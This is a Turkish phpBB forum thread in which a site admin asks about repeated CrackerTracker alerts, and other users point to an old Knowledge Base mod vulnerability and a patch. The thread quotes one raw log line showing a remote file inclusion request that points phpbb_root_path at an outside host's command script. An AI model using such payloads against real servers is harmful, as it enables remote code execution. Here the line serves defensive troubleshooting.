phpBB Türkiye

arkadaslar
ben dünden beri 4 kere ctracker saldiri algilamis hep farkli ip lerden ama saldiri türü hepsinde ayni
kullanici ajani da libwww-perl/ rakamlar diye belirtiyor her dördündede o rakamlar farkli,
bende Ctracker 4.18 yüklü ve phpbb security1.0.3 yüklü sizce bir önlem yasaklama veya herhangi bisey yapmalimiiyim yoksa rahat mi olmaliyim ! Bir bilgilendiren olursa memnun olucam .

EDIT: 2 satt icinde 24 saldiri daha tespit etti ..

213.254.214.3 - - [29/Sep/2006:04:29:56 +0200] "GET /includes/functions_kb.php?phpbb_root_path=http://www.stkgaming.com/iB_html/cmd.do? HTTP/1.1" 200 212 "-" "libwww-perl/5.805"

sanırım bu birşey ifade eder.

vallahi ustam tam anlamadim desem ,ama yanilmiyorsam galiba bu solucan scripti..
senin dedigini anlayamadim mazur görün bilgisizlik iste
Biraz daha aydinlatirsan sevinirim ...
Tabii bu arada 3 gün icinde 40 defa bu tür saldiri oldu !

Sitende bulunan Knowledge Base (makale) modundan dolayı oluyor. Knowledge Base modunun bir açığı vardı eskiden. Senin sitende de kurulu olduğu için saldırı yapıyolar işte.. Ctracker ona yapılan saldırıyı önlüyor. Bu arada o açığı kapatmadıysan da kapatmanı öneririm

Tessekkürler bilgi icin ama sitede arama yaptim Knowledge Base acigini kapatmak icin bir makale bulamadim

http://www.canver.net/mxkb-guvenlik-yamasi-vt6908.html burada yazanlari uygula

Bu makaleyi biliyordumda iste saskin oldugum noktada bu ya bende /kb_constants.php diye dosya yok... constants php var o yüzden acigi ve kapanmasini bilmiyom..
hic biseyden korkmuyom ama emeklerin ziyan olmasindan korkarim sadece o yüzden acik felan varsa tedbirimi almak istiyom ..adminin yapacagi tüm önlemleri almisim,ama bilmedigim bir eksik veya acik varsa bilemem ,sinek kücüktür ama mide bulandirir,kac 2-3 gündür 40-42 saldiri oldu ..

öyle bi dosya yoksa zaten hiç kuşkulanma demekki adamlar her gördükleri phpbb ye saldırıyolar sonuçtada hiçbir şey yapamıyorlar..